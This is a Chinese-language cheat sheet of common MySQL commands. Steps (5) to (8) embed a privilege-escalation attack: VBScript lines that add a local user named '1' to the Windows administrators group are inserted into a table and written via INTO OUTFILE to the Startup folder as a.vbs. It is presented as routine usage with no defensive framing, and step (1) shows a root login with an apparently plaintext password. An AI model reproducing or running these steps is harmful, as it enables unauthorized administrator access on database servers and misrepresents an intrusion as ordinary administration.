MySql数据库常用命令整理
(1) 连接到 mysql 服务器
mysql -h 192.168.0.1 -u root -pantian365.com antian365
(2) 查看所有数据库
show databases;
(3) 使用某个数据库
use testdatabase;
(4) 查看数据库中的所有表
show tables;
(5) 在 test 数据库下创建一个新的表
create table a (cmd text);
(6) 在表中插入内容添加用户命令
insert into a values (“set wshshell=createobject (”“wscript.shell”" ) " );
nsert into a values (“a=wshshell.run (”“cmd.exe /c net user 1 1/add”",0) " );
insert into a values (“b=wshshell.run (”“cmd.exe /c net localgroup administrators 1 /add”",0) " );
(7) 查询 a 表中所有的数据
select * from a
(8) 导出数据到系统某个目录下
select * from a into outfile “c:\docume1\alluse1\「开始」菜单\程序\启动\a.vbs”;
(9) 查询数据库数据路径
select @@datadir;
(10) 查看所有 dir 路径
SHOW VARIABLES WHERE Variable_Name LIKE “%dir”
(11) 查看插件路径
show variables like ‘%plugins%’ ;
(12) 查询MySQL安装路径
select @@basedir
(13) 常用内置函数
select system_user() 查看系统用户
select current_user() 查询当前用户
select user(); 查询用户
SELECT version() 查询数据库版本
SELECT database() 查询当前连接的数据库
select @@version_compile_os 查询当前操作系统
select now(); 显示当前时间
(14) 获取表结构
desc 表名 或者show columns from 表名
(15) 删除表
drop table <表名>